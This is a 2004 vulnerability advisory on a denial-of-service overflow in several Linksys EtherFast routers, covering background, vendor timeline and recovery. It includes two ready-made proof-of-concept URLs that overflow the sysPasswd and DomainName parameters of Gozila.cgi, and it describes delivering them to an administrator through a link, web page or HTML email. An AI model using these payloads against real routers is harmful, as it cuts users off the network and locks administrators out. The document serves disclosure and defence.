Denial of Service Vulnerability in 
Linksys BEFSR41 - Router vuln was identified and tested on.
Linksys BEFSR41 v3 
Linksys BEFSRU31 
Linksys BEFSR11 
Linksys BEFSX41
Linksys BEFSR81 v2/v3
Linksys BEFW11S4 v3
Linksys BEFW11S4 v4
Available from www.linksys.com
October 19, 2003 (Revised November 10, 2003)
Released Date: 3rd June 2004
NOTE: THIS ADVISORY WAS ORIGINALLY WITTEN FOR THE
Linksys BEFSR41 EtherFast Cable/DSL Router with 4-Port Switch

I. BACKGROUND 
 
Linksys Group Inc.'s EtherFast Cable/DSL Router with 4-Port Switch 
"is the perfect option to connect multiple PCs to a high-speed 
Broadband Internet connection or to an Ethernet back-bone. Allowing 
up to 253 users, the built-in NAT technology acts as a firewall 
protecting your internal network." More information about it is 
available at 
http://www.linksys.com/products/product.asp?prid=20&grid=23 
 
II. DESCRIPTION 
 
It is possible for a remote/local attacker to crash the linksys router and
leave it in a state that it can't be accessed even after reboot due to an 
invalid password. An attacker could set up a web page or send an html 
email to someone inside the LAN to indirectly send commands to the router.
An attacker could specify a URL that results in denial of service. The DoS
Occurs when 2 long strings are sent to the sysPasswd and sysPasswdConfirm
Parameters on the Gozila.cgi script, about 150 characters to each parameter
Seems to work fine. If an attacker can get the admin of the router to view a link 
Or goto a webpage that links to such a link as this.

http://192.168.1.1/Gozila.cgi?sysPasswd=AAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&sysPasswdConfirm=AAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAA&UPnP_Work=1&FactoryDefaults=0

The router will drop all internet connections making the internet inaccessible from the 
LAN even if the router is powered off and back on. It also seems to change the 
password in such a way that the admin can't log back into the router and the only way 
to solve it is by pressing the factory reset button on the front of the router, Which will 
then reset all previously stored settings and reset the password back to factory default 
'admin'. The router would then need to be set back up again from scratch.
 

REVISED NOVEMBER 10, 2003

                                                                                          
On November 10 2003 I found another overflow in linksys router which is a similar attack  
method to the first vuln in this advisory. The DoS occurs in this attack when a long      
string about 350 characters is passed to the 'DomainName' parameter of the Gozila.cgi     
script. An example of this attack would be to get the admin of a router to visit a link   
like this.                                                                                
                                                                                          
http://192.168.1.1/Gozila.cgi?hostName=&DomainName=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&WANConnectionSel=0&ipAddr1=192&ipAddr2=168& 
ipAddr3=1&ipAddr4=1&netMask=0&WANConnectionType=1                                         
                      
This would cause the router to crash and the Factory reset button on the front of the     
Router would need to be pressed to restore it back to normal working order.                                           
                                                                                          


III. ANALYSIS 
 
Exploitation may be particularly dangerous, especially if the router's remote 
management capability is enabled. It may also be easily exploited by fooling 
an admin of the router into clicking a link he/she thinks is valid. This is probably 
vuln in older version of the firmware.
 
IV. DETECTION 
 
This vulnerability affects the BEFSR41 EtherFast Cable/DSL router with the latest 
firmware version 1.45.7  I also tested version 1.44.2z which is also vuln so probably 
all other version below this are also vuln . It may also be possible that other version of 
Linksys routers are vuln to this attack if they use the same type of management. I'm unable 
to confirm any other models that are vuln to this attack. The Linksys BEFSRU31 and BEFSR11
use the same version of firmware as the BEFSR41 so they are probably vuln.

NOTE ADDED June 3rd 2004: 
The Vendor confirmed this vuln in all version stated at the start of this advisory
 
V. RECOVERY 
 
Pressing the reset button on the front of the router and setting it back up from scratch 
should restore normal functionality to the router.
 
VI. WORKAROUND 
 
Don't click untrusted links.

VII. VENDOR
19 Oct 2003: First vuln discovered.
10 Nov 2003: Second vuln discovered.
01 Dec 2003: Vendor contacted via security@linksys.com
01 Dec 2003: Response Recived from jay.price@linksys.com
10 Dec 2003: Issue been turned over to project manager andreas.bang@linksys.com
17 Dec 2003: I was sent a beta release of the new firmware witch fixed the vuln but 
             had a bug where the logging function wouldn't work.
22 DEc 2003: andreas.bang@linksys.com now moved office now to contact anbang@cisco.com
29 Jan 2004: Was told patches would be up in the next week
29 Feb 2004: They said there was a problem with the code, still no patches
24 Mar 2004: Recived a email about patches saying.
             BEFSR41 v3(Post on by 3/31)
             BEFSX41 (posted)
             BEFSR81 v2/v3(in progress)
             BEFW11S4 v3(post by 3/31)
             BEFW11S4 v4(posted)
02 Jun 2004: Advisory released to public still no patch for the Linksys BEFSR41
             EtherFast Cable/DSL Router with 4-Port Switch 
             http://www.linksys.com/download/firmware.asp?fwid=3
             The version this advisory was first written for it still   remains vuln to date.


b0f (Alan McCaig)
b0fnet@yahoo.com
www.b0f.net